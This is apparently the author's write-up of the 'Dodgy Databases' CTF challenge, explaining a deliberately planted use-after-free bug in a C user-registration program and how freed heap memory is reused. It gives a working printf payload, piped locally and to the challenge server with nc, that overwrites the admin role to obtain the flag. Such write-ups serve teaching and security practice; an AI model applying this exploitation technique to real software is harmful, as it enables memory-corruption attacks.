Writeup: Dodgy Databases
Challenge description
One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.
Statistics:
- Points: 350
- Solves: 117
- Votes: 88.4% Positive
Challenge overview
The basis for this challenge is a user registration program, there is a lot of code in the actual file, though that is just to make it feel like a more "enterprise" piece of code / something that you might actually find in a real codebase. This is aided by the inclusion of lots of comments and docstrings for functions as well as an attempt at const correctness.
Several things were intended to stick out as feeling a bit off to the user:
- Role enum type with a "god" role.
- User registration function.
- Use of admin pointer after free.
Intended Exploitation
I intended for the user to see these three things and infer that they have to use the Use-After-Free (UAF), vulnerability present in the code to set the role of the admin user to ROLE_GOD
.
Explanation of UAF
The reason UAF is a problem is because of the way malloc
/free
work together to be as fast as possible. When an address pointing to a block of a certain size is free'd, it will be put into something called a "bin". These bins are essentially linked lists which store a cache of recently free'd blocks so that it is very little work for the allocator to just give out one of these recently free'd chunks. However if we keep a hold of the free'd address, and use it after it has been freed, we can actually affect the data of the original variable, when the new one is accessed. This is because they are now actually the same pointer. This can be seen if we add some debugging statements to the code:
// check registered
if (!users_check_registered(users, admin, username)) {
// register the user
free(admin);
User* user = user_create(username);
printf("admin: %p\n", admin);
printf("user: %p\n", user);
users_register_user(users, admin, user);
}
➜ ./chall
Hi, welcome to my users database.
Please enter a user to register: aaa
admin: 0x55e141e36630
user: 0x55e141e36630
As you can see above admin and user variables both point to the same block of memory, as they are the same pointer. This means that when we are creating the new user in the create_user function, we are actually reading into the admin variable. Allowing us to overwrite the admin's role and manipulate the control flow of the program.
Exploiting the UAF
Now that the user knows what they have to do to solve the challenge they can start writing an exploit. To exploit the UAF the user has to provide the correct data to form a User
struct with the role ROLE_GOD
, this will overwrite the admin's role to ROLE_GOD
and print the flag when we enter the registration function. This can be done by supplying USERNAME_LEN
characters + any padding added by the compiler, then the little endian representation of 0xBEEFCAFE
. This is demonstrated below using printf
.
➜ printf "%20s\xFE\xCA\xEF\xBE\n" | ./chal
Hi, welcome to my users database.
Please enter a user to register: ractf{fake_flag}
We can now do this on a remote instance to get the flag.
➜ printf "%20s\xFE\xCA\xEF\xBE\n" | nc 193.57.159.27 31267
Hi, welcome to my users database.
Please enter a user to register: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}
And thats the challenge! I hope you enjoyed it and maybe learnt something about Use-After-Free vulnerabilities if you hadn't seen them before!